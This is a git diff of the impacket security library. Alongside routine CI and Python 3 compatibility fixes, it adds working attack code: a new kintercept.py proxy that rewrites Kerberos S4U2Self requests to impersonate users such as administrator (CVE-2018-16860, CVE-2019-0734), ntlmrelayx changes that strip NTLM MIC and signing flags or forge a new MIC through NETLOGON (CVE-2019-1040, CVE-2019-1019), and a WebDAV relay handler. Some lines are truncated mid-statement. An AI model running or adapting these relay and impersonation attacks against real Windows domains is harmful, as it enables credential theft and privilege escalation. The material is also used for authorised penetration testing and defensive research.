diff --git a/.travis.yml b/.travis.yml index ad25f63c..261eba51 100644 --- a/.travis.yml +++ b/.travis.yml @@ -8,15 +8,16 @@ matrix: env: NO_REMOTE=true, TOXENV=py27 - python: 3.6 env: NO_REMOTE=true, TOXENV=py36 - allow_failures: - - python: 3.6 + - python: 3.7 + env: NO_REMOTE=true, TOXENV=py37 + dist: xenial # required for Python >= 3.7 -install: pip install flake8==3.6.0 tox -r requirements.txt +install: pip install flake8 tox -r requirements.txt before_script: # stop the build if there are Python syntax errors or undefined names - - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics + - flake8 . --count --select=E9,F72,F82 --show-source --statistics # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - - flake8 . --count --ignore=E1,E2,E3,W293,W291,E501,C901 --exit-zero --max-complexity=10 --max-line-length=127 --statistics + - flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics script: tox diff --git a/MANIFEST.in b/MANIFEST.in index 3e4c24e3..07649b35 100644 --- a/MANIFEST.in +++ b/MANIFEST.in @@ -2,7 +2,6 @@ include MANIFEST.in include LICENSE include ChangeLog include requirements.txt -include requirements_examples.txt include tox.ini recursive-include examples tests *.txt *.py recursive-include tests * diff --git a/examples/GetADUsers.py b/examples/GetADUsers.py index 7fd790bb..373b5800 100755 --- a/examples/GetADUsers.py +++ b/examples/GetADUsers.py @@ -76,7 +76,7 @@ def getMachineName(self): s.login('', '') except Exception: if s.getServerName() == '': - raise 'Error while anonymous logging into %s' + raise Exception('Error while anonymous logging into %s' % self.__domain) else: s.logoff() return s.getServerName() diff --git a/examples/goldenPac.py b/examples/goldenPac.py index fff9a55e..6b30d3c0 100755 --- a/examples/goldenPac.py +++ b/examples/goldenPac.py @@ -45,8 +45,8 @@ DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \ NULLGUID from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED -from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS -from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES +from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2 +from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \ diff --git a/examples/kintercept.py b/examples/kintercept.py new file mode 100755 index 00000000..33fdd76e --- /dev/null +++ b/examples/kintercept.py @@ -0,0 +1,276 @@ +#!/usr/bin/env python +# MIT Licensed +# Copyright (c) 2019 Isaac Boukris +# +# A tool for intercepting TCP streams and for testing KDC handling +# of PA-FOR-USER with unkeyed checksums in MS Kerberos S4U2Self +# protocol extention (CVE-2018-16860 and CVE-2019-0734). +# +# The tool listens on a local port (default 88), to which the hijacked +# connections should be redirected (via port forwarding, etc), and sends +# all the packets to the upstream DC server. +# If s4u2else handler is set, the name in PA-FOR-USER padata in every proxied +# packet will be changed to the name specified in the handler's argument. +# +# Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr + +import struct, socket, argparse, asyncore +from binascii import crc32 +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue +from impacket import version +from impacket.krb5 import constants +from impacket.krb5.crypto import Cksumtype +from impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC +from impacket.krb5.types import Principal + + +MAX_READ_SIZE = 16000 +MAX_BUFF_SIZE = 32000 +LISTEN_QUEUE = 10 +TYPE = 10 + +def process_s4u2else_req(data, impostor): + try: + tgs = decoder.decode(data, asn1Spec = TGS_REQ())[0] + except: + print ('Record is not a TGS-REQ') + return '' + + pa_tgs_req = pa_for_user = None + + for pa in tgs['padata']: + if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value: + pa_tgs_req = pa + elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value: + pa_for_user = pa + + if not pa_tgs_req or not pa_for_user: + print ('TGS request is not S4U') + return '' + + tgs['padata'] = noValue + tgs['padata'][0] = pa_tgs_req + + try: + for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec = PA_FOR_USER_ENC())[0] + except: + print ('Failed to decode PA_FOR_USER!') + return '' + + S4UByteArray = struct.pack('') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') self.__outputBuffer = '' else: if line != '': diff --git a/impacket/dcerpc/v5/dcom/wmi.py b/impacket/dcerpc/v5/dcom/wmi.py index 6dfbf1e2..90489b4a 100644 --- a/impacket/dcerpc/v5/dcom/wmi.py +++ b/impacket/dcerpc/v5/dcom/wmi.py @@ -812,9 +812,7 @@ def getValues(self, properties): # if itemValue == 0, default value remains if itemValue != 0: value = ENCODED_VALUE.getValue( properties[key]['type'], itemValue, heap) - else: - value = 0 - properties[key]['value'] = value + properties[key]['value'] = value valueTable = valueTable[dataSize:] return properties diff --git a/impacket/dcerpc/v5/dtypes.py b/impacket/dcerpc/v5/dtypes.py index ae45ba78..931269d5 100644 --- a/impacket/dcerpc/v5/dtypes.py +++ b/impacket/dcerpc/v5/dtypes.py @@ -12,6 +12,7 @@ from __future__ import division from __future__ import print_function from struct import pack +from six import binary_type from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \ NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \ @@ -105,7 +106,11 @@ def dump(self, msg = None, indent = 0): def __setitem__(self, key, value): if key == 'Data': try: - self.fields[key] = value.encode('utf-8') + if not isinstance(value, binary_type): + self.fields[key] = value.encode('utf-8') + else: + # if it is a binary type (str in Python 2, bytes in Python 3), then we assume it is a raw buffer + self.fields[key] = value except UnicodeDecodeError: import sys self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-8') @@ -117,7 +122,11 @@ def __setitem__(self, key, value): def __getitem__(self, key): if key == 'Data': - return self.fields[key].decode('utf-8') + try: + return self.fields[key].decode('utf-8') + except UnicodeDecodeError: + # if we could't decode it, we assume it is a raw buffer + return self.fields[key] else: return NDR.__getitem__(self,key) diff --git a/impacket/dcerpc/v5/scmr.py b/impacket/dcerpc/v5/scmr.py index 98b0ac1e..697cfaa9 100644 --- a/impacket/dcerpc/v5/scmr.py +++ b/impacket/dcerpc/v5/scmr.py @@ -204,6 +204,9 @@ def __str__( self ): # STRUCTURES ################################################################################ +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + class SC_RPC_HANDLE(NDRSTRUCT): structure = ( ('Data','20s=""'), @@ -666,7 +669,7 @@ class RQueryServiceObjectSecurity(NDRCALL): class RQueryServiceObjectSecurityResponse(NDRCALL): structure = ( - ('lpSecurityDescriptor',LPBYTE), + ('lpSecurityDescriptor', BYTE_ARRAY), ('pcbBytesNeeded',BOUNDED_DWORD_256K), ('ErrorCode', DWORD), ) @@ -1172,12 +1175,22 @@ def hRLockServiceDatabase(dce, hSCManager): request['hSCManager'] = hSCManager return dce.request(request) -def hRQueryServiceObjectSecurity(dce, hService, dwSecurityInformation, cbBufSize ): + +def hRQueryServiceObjectSecurity(dce, hService, dwSecurityInformation, cbBufSize=0): request = RQueryServiceObjectSecurity() request['hService'] = hService request['dwSecurityInformation'] = dwSecurityInformation request['cbBufSize'] = cbBufSize - return dce.request(request) + try: + resp = dce.request(request) + except DCERPCSessionError as e: + if e.get_error_code() == system_errors.ERROR_INSUFFICIENT_BUFFER: + resp = e.get_packet() + request['cbBufSize'] = resp['pcbBytesNeeded'] + resp = dce.request(request) + else: + raise + return resp def hRSetServiceObjectSecurity(dce, hService, dwSecurityInformation, lpSecurityDescriptor, cbBufSize ): request = RSetServiceObjectSecurity() diff --git a/impacket/dcerpc/v5/srvs.py b/impacket/dcerpc/v5/srvs.py index dba1e440..9d5f5205 100644 --- a/impacket/dcerpc/v5/srvs.py +++ b/impacket/dcerpc/v5/srvs.py @@ -86,6 +86,9 @@ class PSHARE_DEL_HANDLE(NDRPOINTER): STYPE_SPECIAL = 0x80000000 STYPE_TEMPORARY = 0x40000000 +# AND with shi_type to extract the Share Type part +STYPE_MASK = 0x000000FF + # 2.2.2.5 Client-Side Caching (CSC) States CSC_CACHE_MANUAL_REINT = 0x00 CSC_CACHE_AUTO_REINT = 0x10 diff --git a/impacket/dhcp.py b/impacket/dhcp.py index 0f0f8bed..826cf7ac 100644 --- a/impacket/dhcp.py +++ b/impacket/dhcp.py @@ -130,7 +130,7 @@ class DhcpPacket(ProtocolPacket, structure.Structure): 'fully-qualified-domain-name':(81,':'), # https://www.ietf.org/rfc/rfc4702.txt 'default-url': (114, ':'), # text (URL) - not defined in any RFC but assigned by IANA 'auto-configuration':(116,'B'), # https://www.ietf.org/rfc/rfc2563.txt - 'domain-search-list':(119,'B'), # https://www.ietf.org/rfc/rfc3397.txt + 'domain-search-list':(119,':'), # https://www.ietf.org/rfc/rfc3397.txt 'classless-route-121':(121, ':'), # https://www.ietf.org/rfc/rfc3442.txt 'classless-route-249':(249, ':'), # https://web.archive.org/web/20140205135249/support.microsoft.com/kb/121005 'proxy-autoconfig':(252,':'), diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py index d61cb398..465bcc05 100644 --- a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py @@ -29,7 +29,7 @@ from impacket.examples.ntlmrelayx.clients import ProtocolClient from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED -from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN +from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION from impacket.spnego import SPNEGO_NegTokenResp PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"] @@ -61,13 +61,19 @@ def initConnection(self): def sendNegotiate(self, negotiateMessage): # Remove the message signing flag - # For LDAP this is required otherwise it triggers LDAP signing + # For SMB->LDAP this is required otherwise it triggers LDAP signing # Note that this code is commented out because changing flags breaks the signature # unless the client uses a non-standard implementation of NTLM negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) - #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN + # When exploiting CVE-2019-1040, remove flags + if self.serverConfig.remove_mic: + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN + self.negotiateMessage = negoMessage.getData() # Warn if the relayed target requests signing, which will break our attack @@ -89,7 +95,6 @@ def sendNegotiate(self, negotiateMessage): request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] - if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) @@ -107,6 +112,25 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): token = respToken2['ResponseToken'] else: token = authenticateMessageBlob + + authMessage = NTLMAuthChallengeResponse() + authMessage.fromString(token) + # When exploiting CVE-2019-1040, remove flags + if self.serverConfig.remove_mic: + if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN + if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN + if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH + if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION + authMessage['MIC'] = b'' + authMessage['MICLen'] = 0 + authMessage['Version'] = b'' + authMessage['VersionLen'] = 0 + token = authMessage.getData() + with self.session.connection_lock: self.authenticateMessageBlob = token request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 0a9eab45..77c904ef 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -13,15 +13,22 @@ # This is the SMB client which initiates the connection to an # SMB server and relays the credentials to this server. +import logging import os -from struct import unpack +from binascii import unhexlify, hexlify +from struct import unpack, pack from socket import error as socketerror +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5 import nrpc +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.ndr import NULL from impacket import LOG from impacket.examples.ntlmrelayx.clients import ProtocolClient from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE -from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge +from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \ + generateEncryptedSessionKey, hmac_md5 from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \ SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \ SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters @@ -30,6 +37,7 @@ SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \ SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response from impacket.smbconnection import SMBConnection, SMB_DIALECT +from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech from impacket.dcerpc.v5.transport import SMBTransport from impacket.dcerpc.v5 import scmr @@ -45,16 +53,16 @@ def neg_session(self, negPacket=None): return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket) class MYSMB3(SMB3): - def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): + def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None): self.extendedSecurity = extendedSecurity - SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket)) + SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect) def negotiateSession(self, preferredDialect = None, negSessionResponse = None): # We DON'T want to sign self._Connection['ClientSecurityMode'] = 0 if self.RequireMessageSigning is True: - LOG.error('Signing is required, attack won\'t work!') + LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') return self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION @@ -95,7 +103,7 @@ def negotiateSession(self, preferredDialect = None, negSessionResponse = None): self._Connection['GSSNegotiateToken'] = negResp['Buffer'] self._Connection['Dialect'] = negResp['DialectRevision'] if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED: - LOG.error('Signing is required, attack won\'t work!') + LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') return if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING: self._Connection['SupportsFileLeasing'] = True @@ -123,13 +131,119 @@ def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.extendedSecurity = extendedSecurity - self.domainIp = None self.machineAccount = None self.machineHashes = None self.sessionData = {} + self.negotiateMessage = None + self.challengeMessage = None + self.serverChallenge = None + self.keepAliveHits = 1 + def netlogonSessionKey(self, authenticateMessageBlob): + # Here we will use netlogon to get the signing session key + logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp) + + respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) + authenticateMessage = NTLMAuthChallengeResponse() + authenticateMessage.fromString(respToken2['ResponseToken']) + _, machineAccount = self.serverConfig.machineAccount.split('/') + domainName = authenticateMessage['domain_name'].decode('utf-16le') + + try: + serverName = machineAccount[:len(machineAccount)-1] + except: + # We're in NTLMv1, not supported + return STATUS_ACCESS_DENIED + + stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp + + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if len(self.serverConfig.machineHashes) > 0: + lmhash, nthash = self.serverConfig.machineHashes.split(':') + else: + lmhash = '' + nthash = '' + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) + + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(nrpc.MSRPC_UUID_NRPC) + resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678') + + serverChallenge = resp['ServerChallenge'] + + if self.serverConfig.machineHashes == '': + ntHash = None + else: + ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1]) + + sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) + + ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) + + nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', + ppp, 0x600FFFFF) + + clientStoredCredential = pack('= (250 / KEEP_ALIVE_TIMER): @@ -172,10 +286,16 @@ def initConnection(self): LOG.error('SMBCLient error: %s' % str(e)) return False if packet[0:1] == b'\xfe': - smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) + preferredDialect = None + # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21 + if self.serverConfig.remove_target: + preferredDialect = SMB2_DIALECT_21 + smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), + negPacket=packet, preferredDialect=preferredDialect) else: # Answer is SMB packet, sticking to SMBv1 - smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) + smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), + negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, existingConnection=smbClient, manualNegotiate=True) @@ -186,10 +306,20 @@ def setUid(self,uid): self._uid = uid def sendNegotiate(self, negotiateMessage): - negotiate = NTLMAuthNegotiate() - negotiate.fromString(negotiateMessage) - #Remove the signing flag - negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN + negoMessage = NTLMAuthNegotiate() + negoMessage.fromString(negotiateMessage) + # When exploiting CVE-2019-1040, remove flags + if self.serverConfig.remove_mic: + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH + if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: + negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION + + negotiateMessage = negoMessage.getData() challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: @@ -197,8 +327,12 @@ def sendNegotiate(self, negotiateMessage): else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) + self.negotiateMessage = negotiateMessage + self.challengeMessage = challenge.getData() + # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge + self.serverChallenge = challenge['challenge'] return challenge @@ -342,6 +476,25 @@ def sendStandardSecurityAuth(self, sessionSetupData): return clientResponse, errorCode def sendAuth(self, authenticateMessageBlob, serverChallenge=None): + + authMessage = NTLMAuthChallengeResponse() + authMessage.fromString(authenticateMessageBlob) + # When exploiting CVE-2019-1040, remove flags + if self.serverConfig.remove_mic: + if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN + if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN + if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH + if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: + authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION + authMessage['MIC'] = b'' + authMessage['MICLen'] = 0 + authMessage['Version'] = b'' + authMessage['VersionLen'] = 0 + authenticateMessageBlob = authMessage.getData() + if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to wrap the NTLMSSP into SPNEGO respToken2 = SPNEGO_NegTokenResp() @@ -350,10 +503,35 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): else: authData = authenticateMessageBlob + signingKey = None + if self.serverConfig.remove_target: + # Trying to exploit CVE-2019-1019 + # Discovery and Implementation by @simakov_marina and @YaronZi + respToken2 = SPNEGO_NegTokenResp(authData) + authenticateMessageBlob = respToken2['ResponseToken'] + + errorCode, signingKey = self.netlogonSessionKey(authData) + + # Recalculate MIC + res = NTLMAuthChallengeResponse() + res.fromString(authenticateMessageBlob) + + newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:] + relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob) + + respToken2 = SPNEGO_NegTokenResp() + respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] + authData = respToken2.getData() + if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) + + if signingKey: + logging.info("Enabling session signing") + self.session._SMBConnection.set_session_key(signingKey) + return token, errorCode def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index e6ce2e0d..1f816b4c 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -106,11 +106,75 @@ def should_serve_wpad(self, client): else: return False + def serve_image(self): + with open(self.server.config.serve_image, 'r+') as imgFile: + imgFile_data = imgFile.read() + self.send_response(200, "OK") + self.send_header('Content-type', 'image/jpeg') + self.send_header('Content-Length', str(len(imgFile_data))) + self.end_headers() + self.wfile.write(imgFile_data) + def do_HEAD(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() + def do_OPTIONS(self): + self.send_response(200) + self.send_header('Allow', + 'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY') + self.send_header('Content-Length', '0') + self.send_header('Connection', 'close') + self.end_headers() + return + + def do_PROPFIND(self): + proxy = False + if (".jpg" in self.path) or (".JPG" in self.path): + content = """http://webdavrelay/file/image.JPG/2016-11-12T22:00:22Zimage.JPG4456image/jpeg4ebabfcee4364434dacb043986abfffeMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" + else: + content = """http://webdavrelay/file/2016-11-12T22:00:22ZaMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" + + messageType = 0 + if self.headers.getheader('Authorization') is None: + self.do_AUTHHEAD(message='NTLM') + pass + else: + typeX = self.headers.getheader('Authorization') + try: + _, blob = typeX.split('NTLM') + token = base64.b64decode(blob.strip()) + except: + self.do_AUTHHEAD() + messageType = struct.unpack('= 0: - if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None): + if lmhash is b'' and nthash is b'' and (aesKey is b'' or aesKey is None): from impacket.ntlm import compute_lmhash, compute_nthash lmhash = compute_lmhash(password) nthash = compute_nthash(password) @@ -490,7 +507,26 @@ def getKerberosType3(cipher, sessionKey, auth_data): return cipher, sessionKey2, resp.getData() -def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True): +def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', + kdcHost = None, useCache = True): + + # Convert to binary form, just in case we're receiving strings + if isinstance(lmhash, str): + try: + lmhash = unhexlify(lmhash) + except TypeError: + pass + if isinstance(nthash, str): + try: + nthash = unhexlify(nthash) + except TypeError: + pass + if isinstance(aesKey, str): + try: + aesKey = unhexlify(aesKey) + except TypeError: + pass + if TGT is None and TGS is None: if useCache is True: try: @@ -540,7 +576,7 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. - if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: + if lmhash is b'' and nthash is b'' and (aesKey is b'' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) @@ -568,7 +604,7 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. - if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: + if lmhash is b'' and nthash is b'' and (aesKey is b'' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) diff --git a/impacket/ldap/ldap.py b/impacket/ldap/ldap.py index 246bc3e8..e03d4942 100644 --- a/impacket/ldap/ldap.py +++ b/impacket/ldap/ldap.py @@ -22,7 +22,6 @@ import re import socket from binascii import unhexlify -from six import u from pyasn1.codec.ber import encoder, decoder from pyasn1.error import SubstrateUnderrunError @@ -468,9 +467,10 @@ def sendReceive(self, request, controls=None): def _parseFilter(self, filterStr): try: - filterList = list(reversed(u(filterStr))) - except UnicodeDecodeError: - filterList = list(reversed(filterStr)) + filterStr = filterStr.decode() + except AttributeError: + pass + filterList = list(reversed(filterStr)) searchFilter = self._consumeCompositeFilter(filterList) if filterList: # we have not consumed the whole filter string raise LDAPFilterSyntaxError("unexpected token: '%s'" % filterList[-1]) diff --git a/impacket/nmb.py 